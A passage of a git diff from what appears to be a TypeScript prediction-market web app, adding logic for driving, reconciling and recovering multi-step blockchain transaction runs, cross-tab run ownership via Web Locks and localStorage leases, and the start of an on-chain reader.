+ if (error instanceof UnlistedTxError) { + buildFailure = "unlisted"; + return "unknown"; + } + if (error instanceof HeldSendError || error instanceof SignAgainError) { + buildFailure = error instanceof HeldSendError ? "held" : "resign"; + return "rpc"; + } + if (error instanceof PlansMovedError) { + movedByBuild = error.moved; + return "rpc"; + } + const refused = notSent(error); + if (refused) { + buildFailure = refused; + return "rpc"; + } + buildFailure = + error instanceof NoRouteError + ? "no-route" + : error instanceof AtEstimatesError + ? "at-estimates" + : error instanceof QuoteFailedError + ? "quote" + : error instanceof CreditsUnavailableError + ? "credits" + : error instanceof TxPendingError + ? "pending" + : undefined; + if (buildFailure === "quote" || buildFailure === "credits" || buildFailure === "pending") return "rpc"; + if (buildFailure === "no-route" || buildFailure === "at-estimates" || error instanceof PredictConfigError) { + return "unknown"; + } + if (error instanceof Error && !("cause" in error)) return "rpc"; + const cause = classifyTxError(error); + if (cause === "rejected") return cause; + const text = chainText(error); + // a top-up lets the same transaction through, so the run pauses rather than ends + if (OUT_OF_FUNDS.test(text)) { + buildFailure = "funds"; + return "rpc"; + } + return REVERTS.test(text) ? "reverted" : cause; + }, + }); + + const notify = () => { + cached = buildProgress(); + for (const listener of listeners) listener(); + }; + + function report(reason: PredictFailureReason | undefined, retry?: () => void) { + failure = reason === undefined ? undefined : { reason, retryable: Boolean(retry) }; + retryFailed = reason === undefined ? undefined : retry; + notify(); + } + + const errorOf = (run: OrchestratorRun | null): FlowError | undefined => + run?.status === "paused" || run?.status === "failed" ? run.error : undefined; + + function pendingHashOf(run: OrchestratorRun | null): Hash | undefined { + const outcome = run && run.status !== "running" ? currentEntry(run.steps)?.outcome : undefined; + return outcome?.status === "submitted" ? outcome.hash : undefined; + } + + function stage(): PredictProgress["stage"] { + const run = orchestrator.getRun(); + if (!run) return failure ? "halted" : checking ? "quoting" : moved ? "moved" : "idle"; + if (moved && (run.status === "paused" || run.status === "failed")) return "moved"; + if (checking && run.status !== "running") return "quoting"; + if ((reconciling || awaitingUnanswered) && !failure) return "confirming"; + if (reviewing && !failure) return "review"; + + switch (run.status) { + case "completed": + return "complete"; + case "running": { + const status = currentEntry(run.steps)?.outcome.status; + if (status === "submitted") return "confirming"; + // A predict step reads the pools and quotes every leg before the wallet opens. + return status === "awaiting-signature" ? "signing" : "quoting"; + } + default: + return "halted"; + } + } + + function buildProgress(): PredictProgress { + const run = orchestrator.getRun(); + const settled = new Map(settledEntries(run?.steps ?? []).map((step) => [step.stepId, step])); + const current = run?.status === "running" ? currentEntry(run.steps)?.stepId : undefined; + const failedStep = moved ? undefined : errorOf(run)?.stepId; + + const steps = (run?.steps ?? []).map((entry): PredictStepRow => { + const done = settled.get(entry.stepId); + if (done) { + const hash = done.outcome.status === "confirmed" ? { hash: done.outcome.hash } : {}; + return { id: entry.stepId, label: entry.label, state: "success", ...hash }; + } + if (entry.stepId === current) return { id: entry.stepId, label: entry.label, state: "running" }; + if (entry.stepId === failedStep) return { id: entry.stepId, label: entry.label, state: "error" }; + return { id: entry.stepId, label: entry.label, state: "pending" }; + }); + + const pendingHash = pendingHashOf(run); + const sending = run?.status === "running" ? currentEntry(run.steps)?.outcome : undefined; + const rows = steps.length > 0 ? steps : planned; + const batchRows = rows.filter((row) => row.id.startsWith("predict-")); + + const settledLeftOut = run?.snapshot.leftOut ?? []; + const leftOut = [...settledLeftOut, ...[...leavingOut.values()].flat()]; + + return { + stage: stage(), + steps: rows, + leftOut: leftOut.filter((market, index) => leftOut.indexOf(market) === index), + batchesDone: batchRows.filter((row) => row.state === "success").length, + batches: batchRows.length, + failure, + ...(pendingHash ? { pendingHash } : {}), + ...(sending?.status === "submitted" ? { sentHash: sending.hash } : {}), + ...(moneyMoved ? { moneyMoved: true as const } : {}), + ...(hasUnanswered(run?.snapshot) ? { unanswered: true as const } : {}), + ...(recovered && run ? { recovered: run.snapshot } : {}), + ...(moved ? { moved } : {}), + ...(held ? { held } : {}), + }; + } + + cached = buildProgress(); + + orchestrator.subscribe(notify); + orchestrator.on("step:submitted", (event) => { + if (event.stepId !== STEP_ID.createExecutor) moneyMoved = true; + // the hash is stored by now; its send is kept for the nonce, which says whether a hash no node finds is dead + const send = orchestrator.getRun()?.snapshot.unanswered?.[event.stepId]; + if (!send) return; + orchestrator.updateSnapshot( + (prev) => ({ ...without(prev, "unanswered", event.stepId), sent: { ...prev.sent, [event.stepId]: send } }), + { source: "adapter" }, + ); + }); + orchestrator.on("step:confirmed", (event) => forgetSent(event.stepId)); + orchestrator.on("step:skipped", (event) => { + forgetUnanswered(event.stepId); + forgetSent(event.stepId); + }); + orchestrator.on("flow:paused", () => { + if (movedByBuild) { + moved = movedByBuild; + movedByBuild = undefined; + buildFailure = undefined; + notify(); + return; + } + const run = orchestrator.getRun(); + const reason = buildFailure ?? errorOf(run)?.cause; + buildFailure = undefined; + const stepId = errorOf(run)?.stepId; + if (reason === "resign" && stepId !== undefined) report(reason, () => signAgain(stepId)); + else report(reason, pendingHashOf(run) ? reconcileRun : resumeRun); + }); + orchestrator.on("flow:failed", (event) => { + const reason = buildFailure ?? event.error.cause; + buildFailure = undefined; + // A failed wait keeps its hash, so the chain is asked how it ended before anything is signed again. + if (pendingHashOf(orchestrator.getRun())) report(reason, reconcileRun); + // A reverted batch is rebuilt from fresh quotes; the steps before it stay settled. + else if (reason === "reverted" && event.error.stepId.startsWith("predict-")) report(reason, resumeRun); + else report(reason); + }); + orchestrator.on("flow:completed", () => { + args.onComplete?.(); + notify(); + }); + + function detached(work: () => Promise): () => void { + const action = () => + void work().catch((error: unknown) => { + if (error instanceof NoRouteError) report("no-route"); + else if (error instanceof AtEstimatesError) report("at-estimates"); + else if (error instanceof QuoteFailedError) report("quote", action); + else if (error instanceof CreditsUnavailableError) report("credits"); + else if (error instanceof TxPendingError) report("pending", action); + else if (error instanceof TradeWalletShortError) report("balance"); + else if (error instanceof SessionClosedError) report("closed"); + else if (error instanceof UnlistedTxError) report("unlisted"); + else if (error instanceof PredictConfigError) report("unknown"); + else report(classifyTxError(error), action); + }); + return action; + } + + function needsMintFinalization() { + const run = orchestrator.getRun(); + return ( + run?.snapshot.depositNative && + !run.snapshot.mintFinalized && + settledEntries(run.steps).some((entry) => entry.stepId === STEP_ID.deposit) + ); + } + + /** A settled native deposit must have its actual mint recorded before a batch is built. */ + async function settleOwedMint() { + const run = orchestrator.getRun(); + if (!run || !needsMintFinalization()) return; + const patch = await depositMintPatch(deps, run.ctx, run.snapshot); + orchestrator.updateSnapshot(patch, { source: "adapter", durable: true }); + } + + /** The visitor's answer to the ask: `stepId` is signed again if its held send's nonce still reads unused. */ + function signAgain(stepId: string) { + signAgainFor = stepId; + resumeRun(); + } + + // resumed in the same tick where nothing is owed, so the run is running as soon as a retry returns + const resumeRun = detached(() => + needsMintFinalization() ? settleOwedMint().then(() => orchestrator.resume()) : orchestrator.resume(), + ); + + /** Lets go of `stepId`'s hash, so the step is signed again on resume. */ + function releaseHash(stepId: string) { + orchestrator.releaseInFlight(); + forgetSent(stepId); + } + + /** + * A hash the node does not know is kept while its nonce reads unused, for the hold its send started; a nonce taken + * by another transaction lets it go, and a nonce still unused past the hold, or never stored, asks first. + */ + async function settleUnseen(stepId: string, hash: Hash, answered: boolean) { + const send = orchestrator.getRun()?.snapshot.sent?.[stepId]; + const found = send ? await sentAs(send) : undefined; + if (found?.status === "mined" && found.hash.toLowerCase() !== hash.toLowerCase()) { + orchestrator.releaseInFlight(found.hash); + await orchestrator.resume(); + return; + } + if (found?.status === "mined" || found?.status === "pending") { + report("pending", reconcileRun); + return; + } + if (found?.status === "taken") { + releaseHash(stepId); + report(errorOf(orchestrator.getRun())?.cause ?? "unknown", resumeRun); + return; + } + if (send && holding(send)) report("unseen", reconcileRun); + else if (answered) { + releaseHash(stepId); + await settleOwedMint(); + await orchestrator.resume(); + } else report("resign", () => signAgainAfter(stepId)); + } + + /** + * Settles a sent transaction whose receipt was never seen, then carries on only if it mined or may still. With + * `signAgainStep`, a hash for that step that is still unseen past its hold is let go and the step signed again. + */ + async function reconcile(signAgainStep?: string) { + reconciling = true; + notify(); + const found = await orchestrator.reconcileInFlight().finally(() => { + reconciling = false; + }); + // a revert is reported through `flow:failed` + if (found.outcome === "reverted" || found.outcome === "cancelled") return; + if (found.outcome === "unseen" && found.stepId !== undefined && found.hash !== undefined) { + await settleUnseen(found.stepId, found.hash, found.stepId === signAgainStep); + return; + } + await settleOwedMint(); + await orchestrator.resume(); + } + + const reconcileRun = detached(() => reconcile()); + + /** The visitor's answer to the ask for a hash no node finds: the chain is read again before the step is signed. */ + const signAgainAfter = (stepId: string) => detached(() => reconcile(stepId))(); + + /** How the transaction `hash` ended, by its receipt; undefined while it has none. */ + async function outcomeOf(hash: Hash): Promise { + const receipt = await args.gateway.getReceipt(hash).catch(() => null); + if (!receipt) return undefined; + return receipt.status === "success" + ? { status: "confirmed", hash: receipt.transactionHash, blockNumber: receipt.blockNumber } + : { status: "pending" }; + } + + /** + * `step`'s outcome once the chain says how its hash or held send ended, or that it is dead; undefined while it may + * still land. A hash stored with no send is dead once no node knows it and the record is past the store's expiry. + */ + async function strandedOutcome( + step: StepSummary, + send: UnansweredSend | undefined, + persistedAt: number, + ): Promise { + const hash = step.outcome.status === "submitted" ? step.outcome.hash : undefined; + if (hash) { + const settled = await outcomeOf(hash); + if (settled) { + return step.outcome.status === "submitted" && + step.outcome.replacementReason && + step.outcome.replacementReason !== "repriced" + ? { status: "pending" } + : settled; + } + if (!send) { + const known = await args.gateway.isKnown(hash).catch(() => true); + return !known && now() - persistedAt > DEFAULT_RUN_TTL_MS ? { status: "pending" } : undefined; + } + } + if (!send) return step.outcome; + const found = await sentAs(send).catch(() => undefined); + if (found?.status === "mined") return outcomeOf(found.hash); + if (found?.status === "taken" || (found?.status === "none" && !holding(send))) { + return hash ? { status: "pending" } : step.outcome; + } + return undefined; + } + + /** Stores what the chain says of each hash and held send of `stored`, a run that can never resume. */ + async function settleStranded(stored: PersistedFlowRun) { + let snapshot = stored.snapshot; + let changed = false; + const steps: StepSummary[] = []; + for (const step of stored.steps) { + const send = snapshot.sent?.[step.stepId] ?? snapshot.unanswered?.[step.stepId]; + const outcome = await strandedOutcome(step, send, stored.persistedAt); + if (outcome === undefined || (outcome === step.outcome && !send)) { + steps.push(step); + continue; + } + changed = true; + steps.push({ ...step, outcome }); + snapshot = without(without(snapshot, "sent", step.stepId), "unanswered", step.stepId); + } + if (!changed) return; + const { version: _version, persistedAt: _persistedAt, expiresAt: _expiresAt, ...run } = stored; + try { + args.store?.save({ ...run, steps, snapshot }); + } catch { + // a refused write leaves the record as it was, so the run stays kept + } + } + + /** + * A run left behind by a closed tab. Its transactions may be on chain, so it is restored and + * reconciled rather than thrown away, then held for review: nothing is signed until `resume`. + */ + const recoverRun = detached(async () => { + const stored = args.store?.load(args.flowId); + if (!stored) return; + // Only the owner who saved a run, on the chain it was saved on, may sign the rest of it. + const mismatch = foreign(stored.ctx, args.ctx()); + if (mismatch) { + if (mismatch === "unknown") await settleStranded(stored); + report(mismatch); + return; + } + const session = args.sessionOptions?.(); + if (session && !sameOptions(stored.snapshot.options, session)) { + await settleStranded(stored); + report("unknown"); + return; + } + + const steps = guardedSteps(planPredict(stored.snapshot, deps)); + const savedIds = new Set(stored.steps.map((step) => step.stepId)); + if ( + stored.steps.length !== steps.length || + savedIds.size !== steps.length || + steps.some((step) => !savedIds.has(step.id)) + ) { + inconsistentSteps = true; + report("unknown"); + return; + } + const restored = orchestrator.restore({ flowId: args.flowId, steps }); + if (!restored) return; + + // a send held for a step stored as settled was left by a write cut short; the step's outcome stands + for (const entry of settledEntries(orchestrator.getRun()?.steps ?? [])) forgetUnanswered(entry.stepId); + planned = []; + held = undefined; + recovered = true; + reconciling = true; + notify(); + const found = await orchestrator.reconcileInFlight().finally(() => { + reconciling = false; + }); + if (found.outcome === "reverted" || found.outcome === "cancelled") return; + // Past the close nothing can be signed, so a held send is settled by running the steps, whose builds stop the run. + if (hasUnanswered(orchestrator.getRun()?.snapshot) && (await sessionClosed())) { + await orchestrator.resume(); + return; + } + // A transfer signed as the tab died left no hash, and its own transaction shows only once it mines. + if (found.outcome === "unknown" && (found.stepId === STEP_ID.deposit || found.stepId === STEP_ID.addCredits)) { + const transfer = steps.find((step) => step.id === found.stepId); + const landed = await Promise.resolve(transfer?.canSkip?.(stored.ctx, stored.snapshot)).catch((error: unknown) => { + if (error instanceof TxPendingError) return false; + throw error; + }); + if (!landed) { + report("deposit-unconfirmed", resumeRun); + return; + } + } + reviewing = true; + notify(); + }); + + /** Pins the trade wallet's balance before anything is signed, and checks a route exists for the plan held to. */ + async function prepare(ctx: PredictCtx, requested: PlannedRequest): Promise { + const [collateralAtStart, creditsAtStart, latest] = await Promise.all([ + args.reader.collateralBalance(ctx.executor), + args.reader.creditsBalance(ctx.executor), + args.reader.latestBlock(), + ]); + // nothing this run sends can land in a block already mined, which may hold an earlier run's + const fromBlock = latest + 1n; + if (collateralAtStart < tradeWalletShare(requested)) throw new TradeWalletShortError(); + // an sDAI deposit lands as sent, so the split may not ask for more than it and the trade wallet's share + if (!requested.depositNative && requested.collateralIn > requested.deposit + tradeWalletShare(requested)) { + throw new TradeWalletShortError(); + } + if (creditsAtStart + requested.creditsFromEoa < requested.creditsToSpend) throw new TradeWalletShortError(); + if (requested.creditsFromEoa > 0n && (await args.reader.creditsBalance(ctx.owner)) < requested.creditsFromEoa) { + throw new TradeWalletShortError(); + } + const snapshot = { ...requested, collateralAtStart, creditsAtStart, fromBlock }; + await assertRoutes(ctx, snapshot, deps); + return snapshot; + } + + /** The request and batch size the last check planned with; confirming at moved signs what it showed. */ + let plannedSize: number | undefined; + let plannedRequest: PredictRequest | undefined; + + const startRun = (heldTo?: HeldTo, size?: number, request?: PredictRequest) => + detached(async () => { + report(undefined); + held = heldTo; + moved = undefined; + pendingSlippage = undefined; + leavingOut.clear(); + moneyMoved = false; + + const requested: PredictRequest = request ?? args.snapshot(); + plannedRequest = requested; + const ctx = args.ctx(); + const check = {}; + checking = check; + notify(); + + const checked = await (async () => { + await assertOpen(); + const optionsPerBatch = size ?? (await sizeBatches(ctx, requested, deps, await args.reader.blockGasLimit())); + const sized = { ...requested, optionsPerBatch }; + const steps = guardedSteps(planPredict(sized, deps)); + // The rows exist before the run does, so the popup shows the list while the routes are checked. + if (checking === check) { + plannedSize = optionsPerBatch; + planned = steps.map((step) => ({ id: step.id, label: step.label, state: "pending" })); + notify(); + } + return { steps, snapshot: await prepare(ctx, sized) }; + })().then( + (ready) => ready, + (error: unknown) => ({ error }), + ); + if (checking !== check) return; + checking = undefined; + if ("error" in checked) { + if (!(checked.error instanceof PlansMovedError)) throw checked.error; + moved = checked.error.moved; + notify(); + return; + } + await orchestrator.start({ flowId: args.flowId, snapshot: checked.snapshot, ctx, steps: checked.steps }); + })(); + + /** + * Re-plans every batch still to land at `settings` against what the run is held to. A changed plan stops the + * run at moved with `settings` pending; an unchanged one stores them and carries on with `carryOn`. + */ + const replanAt = (settings: PredictSlippage, carryOn: (() => void) | undefined) => + detached(async () => { + const run = orchestrator.getRun(); + if (!run) return; + const settled = new Set(settledEntries(run.steps).map((step) => step.stepId)); + const check = {}; + checking = check; + notify(); + const found = await heldMoves(run.ctx, { ...run.snapshot, slippage: settings }, deps, settled).catch( + (error: unknown) => { + if (checking === check) checking = undefined; + throw error; + }, + ); + if (checking !== check) return; + checking = undefined; + if (found) { + pendingSlippage = settings; + moved = { ...found, bySlippage: true }; + notify(); + return; + } + orchestrator.updateSnapshot({ slippage: settings }, { source: "requote" }); + carryOn?.(); + })(); + + /** Runs `then` once this tab holds the run, or reports it held by another tab. */ + function claimed(then: () => void) { + if (owned) { + then(); + return; + } + const answer = (asked ??= args.ownership!.claim(args.flowId)); + const claim = { answer }; + claiming = claim; + void answer.then((letGo) => { + if (asked === answer) asked = undefined; + if (claiming !== claim) { + // a later claim waiting on this same answer takes it + if (claiming?.answer !== answer) letGo?.(); + return; + } + claiming = undefined; + if (!letGo) { + report(args.ownership!.heldHere(args.flowId) ? "prompt-open" : "elsewhere", () => claimed(then)); + return; + } + release = letGo; + owned = true; + then(); + }); + } + + const driver: PredictDriver = { + start(heldTo) { + if (checking || claiming || orchestrator.getStatus() !== "idle") return; + claimed(() => { + // A stored run has steps that may already be on chain, and `start` would refuse anyway. + if (args.store?.load(args.flowId)) recoverRun(); + else startRun(heldTo); + }); + }, + + confirm() { + if (!moved || checking) return; + const now = moved; + const replanned = new Set(now.markets.map((market) => market.toLowerCase())); + // quotes confirmed for an option whose pools moved since are for a plan no longer shown + const quotes = Object.fromEntries( + Object.entries({ ...held?.quotes, ...now.quotes }).filter( + ([key]) => now.quotes?.[key] !== undefined || !replanned.has(key), + ), + ); + const next: HeldTo = { + ...(held?.plans || Object.keys(now.plans).length > 0 ? { plans: { ...held?.plans, ...now.plans } } : {}), + ...(Object.keys(quotes).length > 0 ? { quotes } : {}), + ...((now.credits ?? held?.credits) ? { credits: now.credits ?? held?.credits } : {}), + }; + const status = orchestrator.getStatus(); + if (status === "idle") { + startRun(next, plannedSize, plannedRequest); + return; + } + if (status !== "paused" && status !== "failed") return; + held = next; + moved = undefined; + if (pendingSlippage) orchestrator.updateSnapshot({ slippage: pendingSlippage }, { source: "requote" }); + pendingSlippage = undefined; + report(undefined); + resumeRun(); + }, + + recover() { + if (checking || claiming || orchestrator.getStatus() !== "idle" || !args.store?.load(args.flowId)) return; + claimed(recoverRun); + }, + + resume(heldTo) { + if (!reviewing) return; + held = heldTo; + reviewing = false; + // The chain is read again: a transaction pending at review may have mined or dropped since. + reconcileRun(); + }, + + retry(heldTo) { + if (heldTo) held = heldTo; + const again = retryFailed; + // A batch that is rebuilt gives its options another go; a sent one's left-out options stand until its receipt is read. + const run = orchestrator.getRun(); + const sent = run && pendingHashOf(run) ? currentEntry(run.steps)?.stepId : undefined; + for (const stepId of [...leavingOut.keys()]) if (stepId !== sent) leavingOut.delete(stepId); + const settings = recovered ? undefined : args.slippage?.(); + report(undefined); + // a sent batch is settled first, at the slippage it was signed with + if (run && !sent && held && settings && !sameSlippage(run.snapshot.slippage, settings)) { + replanAt(settings, again); + return; + } + again?.(); + }, + + reset() { + if (inconsistentSteps) return; + const stored = args.store?.load(args.flowId); + if (hasUnanswered(orchestrator.getRun()?.snapshot ?? stored?.snapshot)) return; + // the transaction still confirming may be this run's own, which only its pinned block finds once it lands + if (failure?.reason === "pending" || failure?.reason === "deposit-unconfirmed") return; + // a hash with no receipt read is kept, as the card's Discard keeps it, even for a run that cannot resume + if ((orchestrator.getRun()?.steps ?? stored?.steps ?? []).some((step) => step.outcome.status === "submitted")) { + return; + } + checking = undefined; + claiming = undefined; + const mismatch = stored && foreign(stored.ctx, args.ctx()); + // another wallet's or network's run is kept for it; one naming other contracts can never resume + if (owned && (!mismatch || mismatch === "unknown")) orchestrator.trash(args.flowId); + recovered = false; + reviewing = false; + moneyMoved = false; + buildFailure = undefined; + signAgainFor = undefined; + leavingOut.clear(); + planned = []; + held = undefined; + moved = undefined; + movedByBuild = undefined; + pendingSlippage = undefined; + report(undefined); + }, + + discard() { + if (discarding) return; + const run = orchestrator.getRun(); + const stepId = run && pendingHashOf(run) ? currentEntry(run.steps)?.stepId : undefined; + if (stepId === undefined || (failure?.reason !== "unseen" && failure?.reason !== "resign")) return; + discarding = true; + detached(async () => { + reconciling = true; + notify(); + try { + const found = await orchestrator.reconcileInFlight(); + if (found.outcome === "pending") { + report("pending", reconcileRun); + return; + } + if (found.outcome === "unseen") { + const send = orchestrator.getRun()?.snapshot.sent?.[stepId]; + const answer = send ? await sentAs(send) : undefined; + if (answer?.status !== "taken") { + report(answer?.status === "pending" || answer?.status === "mined" ? "pending" : "unseen", reconcileRun); + return; + } + releaseHash(stepId); + } + report(undefined); + driver.reset(); + } finally { + reconciling = false; + discarding = false; + notify(); + if (disposeAfterDiscard) driver.dispose(); + } + })(); + }, + + dispose() { + // Discard needs the run and its ownership until reconciliation and deletion finish. + if (discarding) { + disposeAfterDiscard = true; + return; + } + checking = undefined; + claiming = undefined; + orchestrator.dispose(); + const letGo = release; + release = undefined; + owned = !args.ownership; + if (walletRequests.size === 0) letGo?.(); + else void Promise.allSettled([...walletRequests]).then(() => letGo?.()); + }, + + getProgress: () => cached, + + subscribe(listener) { + listeners.add(listener); + return () => void listeners.delete(listener); + }, + }; + return driver; +} diff --git a/apps/web/src/features/predict/run/interrupted.ts b/apps/web/src/features/predict/run/interrupted.ts new file mode 100644 index 00000000..13f43070 --- /dev/null +++ b/apps/web/src/features/predict/run/interrupted.ts @@ -0,0 +1,51 @@ +import type { FlowRunStore, PersistedFlowRun } from "@foresight/tx-orchestrator"; +import type { Address } from "viem"; + +import { createRunStore } from "@/lib/flowRunStore"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import type { PredictCtx, PredictSnapshot } from "../flow/types"; + +/** Where one owner's prediction run for a session is stored, per chain. */ +export const predictFlowId = (sessionId: string, owner: Address, chainId: number = DEFAULT_CHAIN_ID) => + `predict-${chainId}-${owner.toLowerCase()}-${sessionId}`; + +const ownRun = (store: FlowRunStore, flowId: string, owner: Address) => { + const run = store.load(flowId); + return run && run.ctx.owner.toLowerCase() === owner.toLowerCase() ? run : null; +}; + +const sessionRun = (store: FlowRunStore, sessionId: string, owner: Address) => + ownRun(store, predictFlowId(sessionId, owner), owner); + +/** The snapshot of `owner`'s unfinished stored run for this session, if there is one. */ +export function findInterruptedRun(store: FlowRunStore, sessionId: string, owner: Address): PredictSnapshot | null { + return sessionRun(store, sessionId, owner)?.snapshot ?? null; +} + +/** True while `snapshot` holds a send that errored and whose nonce has not been read as settled. */ +export const hasUnanswered = (snapshot: Readonly | undefined): boolean => + Object.keys(snapshot?.unanswered ?? {}).length > 0; + +/** A run that holds a send with no answer read stays stored past its expiry; the store prunes it once settled. */ +export const unsettledRun = (run: PersistedFlowRun): boolean => + hasUnanswered(run.snapshot as Readonly | undefined); + +/** This browser's store of prediction runs. */ +export const predictRunStore = (): FlowRunStore => createRunStore(unsettledRun); + +const awaitsReceipt = (run: PersistedFlowRun) => + run.steps.some((step) => step.outcome.status === "submitted") || hasUnanswered(run.snapshot); + +/** True while `owner`'s stored run holds a broadcast hash with no receipt, or a send with no answer; only resuming reconciles it. */ +export function hasPendingTransaction(store: FlowRunStore, sessionId: string, owner: Address): boolean { + const run = sessionRun(store, sessionId, owner); + return Boolean(run && awaitsReceipt(run)); +} + +/** Forgets `owner`'s stored run for this session unless it awaits a receipt or an answer; another owner's run is left alone. */ +export function discardRun(store: FlowRunStore, sessionId: string, owner: Address) { + const run = sessionRun(store, sessionId, owner); + if (run && !awaitsReceipt(run)) store.clear(predictFlowId(sessionId, owner)); +} diff --git a/apps/web/src/features/predict/run/ownership.ts b/apps/web/src/features/predict/run/ownership.ts new file mode 100644 index 00000000..24212e35 --- /dev/null +++ b/apps/web/src/features/predict/run/ownership.ts @@ -0,0 +1,204 @@ +/** Which open tab is driving a stored run, so no other tab resumes, signs or discards it under it. */ +export interface RunOwnership { + /** Takes `flowId` for this tab and returns its release, or null while any tab, this one included, holds it. */ + claim(flowId: string): Promise<(() => void) | null>; + /** Whether another open tab holds `flowId`, or whether that cannot be told. */ + heldElsewhere(flowId: string): Promise; + /** Whether this tab holds `flowId`. */ + heldHere(flowId: string): boolean; +} + +/** The part of the Web Locks API used here; a lock is let go when its tab closes or crashes. */ +export type RunLocks = Pick; + +/** The part of localStorage the lease fallback uses. */ +export type LeaseStorage = Pick; + +export interface LeaseDeps { + /** Shared by the origin's tabs; null, or one that throws, leaves no way to tell tabs apart. */ + storage?: LeaseStorage | null; + /** Fires `pagehide` as the page is left. */ + page?: Pick | null; +} + +interface Lease { + owner: string; + /** ms since the epoch. */ + expiresAt: number; +} + +/** Outlives hidden-tab timer clamping, which can hold a renewal back by a minute. */ +const LEASE_MS = 90_000; +const RENEW_MS = 15_000; + +const lockName = (flowId: string) => `foresight.predict-run.${flowId}`; +const leaseKey = (flowId: string) => `foresight.predict-lease.${flowId}`; + +const UNREADABLE = Symbol("unreadable"); + +function newTabId(): string { + return typeof crypto !== "undefined" && "randomUUID" in crypto + ? crypto.randomUUID() + : `${Date.now()}-${Math.random().toString(36).slice(2)}`; +} + +/** + * Web Locks first; where a request is refused or there is no API, a localStorage lease renewed while held. + * With neither, every run reads as held elsewhere. + */ +export function createRunOwnership( + locks: RunLocks | null, + { storage = null, page = null }: LeaseDeps = {}, +): RunOwnership { + const tabId = newTabId(); + /** Runs this tab holds, by flowId. */ + const here = new Set(); + /** Locks this tab has let go of that the lock manager may still list. */ + const lettingGo = new Set(); + + function readLease(flowId: string): Lease | null | typeof UNREADABLE { + try { + if (!storage) return UNREADABLE; + const raw = storage.getItem(leaseKey(flowId)); + if (raw === null) return null; + const lease = JSON.parse(raw) as Partial; + return typeof lease.owner === "string" && typeof lease.expiresAt === "number" + ? { owner: lease.owner, expiresAt: lease.expiresAt } + : null; + } catch { + return UNREADABLE; + } + } + + function writeLease(flowId: string): boolean { + try { + if (!storage) return false; + storage.setItem(leaseKey(flowId), JSON.stringify({ owner: tabId, expiresAt: Date.now() + LEASE_MS })); + return true; + } catch { + return false; + } + } + + const leasedElsewhere = (lease: Lease | null) => + lease !== null && lease.owner !== tabId && lease.expiresAt > Date.now(); + + function dropLease(flowId: string) { + try { + const lease = readLease(flowId); + if (lease !== UNREADABLE && lease?.owner === tabId) storage?.removeItem(leaseKey(flowId)); + } catch { + // the lease runs out on its own + } + } + + function claimByLease(flowId: string): (() => void) | null { + if (here.has(flowId)) return null; + const lease = readLease(flowId); + if (lease === UNREADABLE || leasedElsewhere(lease) || !writeLease(flowId)) return null; + // localStorage has no compare-and-set; a tab writing in the same moment wins or loses on this read + const written = readLease(flowId); + if (written === UNREADABLE || written?.owner !== tabId) return null; + + here.add(flowId); + const renew = setInterval(() => { + const now = readLease(flowId); + if (now !== UNREADABLE && !leasedElsewhere(now) && writeLease(flowId)) return; + clearInterval(renew); + here.delete(flowId); + }, RENEW_MS); + // a page restored from the back-forward cache writes the lease back on its next renewal + const onPageHide = () => dropLease(flowId); + page?.addEventListener("pagehide", onPageHide); + + return () => { + clearInterval(renew); + page?.removeEventListener("pagehide", onPageHide); + if (!here.delete(flowId)) return; + dropLease(flowId); + }; + } + + function claimByLock(locks: RunLocks, flowId: string): Promise<(() => void) | null | typeof UNREADABLE> { + const name = lockName(flowId); + return new Promise((resolve) => { + let held = false; + locks + .request(name, { ifAvailable: true }, (lock) => { + if (!lock) { + resolve(null); + return; + } + // a tab on the lease fallback holds it outside the lock manager + const lease = readLease(flowId); + if (lease !== UNREADABLE && leasedElsewhere(lease)) { + resolve(null); + return; + } + held = true; + here.add(flowId); + lettingGo.add(flowId); + // the lock is held until this promise settles + return new Promise((letGo) => { + resolve(() => { + here.delete(flowId); + letGo(); + }); + }); + }) + // the lock manager lists the lock until the request settles + .then(() => { + if (held) lettingGo.delete(flowId); + }) + // a document that is not fully active, or an opaque origin, refuses locks + .catch(() => resolve(UNREADABLE)); + }); + } + + return { + async claim(flowId) { + if (locks) { + const answer = await claimByLock(locks, flowId); + if (answer !== UNREADABLE) return answer; + } + return claimByLease(flowId); + }, + + async heldElsewhere(flowId) { + const ours = () => here.has(flowId) || lettingGo.has(flowId); + const oursBefore = ours(); + const listed = locks + ? await locks + .query() + .then(({ held = [] }) => held.some((lock) => lock.name === lockName(flowId))) + .catch(() => UNREADABLE) + : UNREADABLE; + if (oursBefore || ours()) return false; + if (listed === true) return true; + const lease = readLease(flowId); + if (lease === UNREADABLE) return listed === UNREADABLE; + return leasedElsewhere(lease); + }, + + heldHere: (flowId) => here.has(flowId), + }; +} + +let tab: RunOwnership | undefined; + +function tabStorage(): LeaseStorage | null { + try { + return typeof window === "undefined" ? null : window.localStorage; + } catch { + return null; + } +} + +/** This tab's ownership. */ +export function tabOwnership(): RunOwnership { + tab ??= createRunOwnership(typeof navigator !== "undefined" && navigator.locks ? navigator.locks : null, { + storage: tabStorage(), + page: typeof window === "undefined" ? null : window, + }); + return tab; +} diff --git a/apps/web/src/features/predict/run/reader.ts b/apps/web/src/features/predict/run/reader.ts new file mode 100644 index 00000000..1202fd47 --- /dev/null +++ b/apps/web/src/features/predict/run/reader.ts @@ -0,0 +1,240 @@ +"use client"; + +import { erc20Abi, erc4626Abi, getAbiItem, isAddressEqual, type Address, type Hash, type PublicClient } from "viem"; + +import { readPoolLiquidity, type PoolRef } from "@/lib/swap/algebraPool"; +import { fetchTokenBalances } from "@/lib/trade-executor/balances"; + +import type { PoolLiquidity } from "@/types/pool"; + +import { fetchSessionPools, optionPoolRefs } from "../api/getOptionPools"; +import type { LandedTx, OptionChainState, PredictReader } from "../flow/types"; +import { sqrtPriceX96FromPrice } from "../utils/poolMath"; + +const WAD = 10n ** 18n; + +const TRANSFER = getAbiItem({ abi: erc20Abi, name: "Transfer" }); + +/** A side with no pool, which `volumeUntilPrice` sizes to nothing. */ +const UNPRICED: PoolLiquidity = { sqrtPriceX96: 0n, tick: 0, liquidity: 0n, fee: 0n, ticks: [], outcomeIsToken0: true }; + +/** + * What the plan reads before it builds. Pool identities, token ordering and balances come from the chain. + */ +export function createPredictReader(args: { + client: PublicClient; + sessionId: string; + collateral: Address; + /** Where the chain has Foresight credits for this collateral. */ + credits?: { token: Address; manager: Address } | null; + /** The owner's transaction count as the wallet's own node reads it, which sees its broadcasts first. */ + walletNonce?: (owner: Address, blockTag: "latest" | "pending") => Promise; +}): PredictReader { + const appCounts = (owner: Address) => + Promise.all([ + args.client.getTransactionCount({ address: owner, blockTag: "latest" }), + args.client.getTransactionCount({ address: owner, blockTag: "pending" }), + ]); 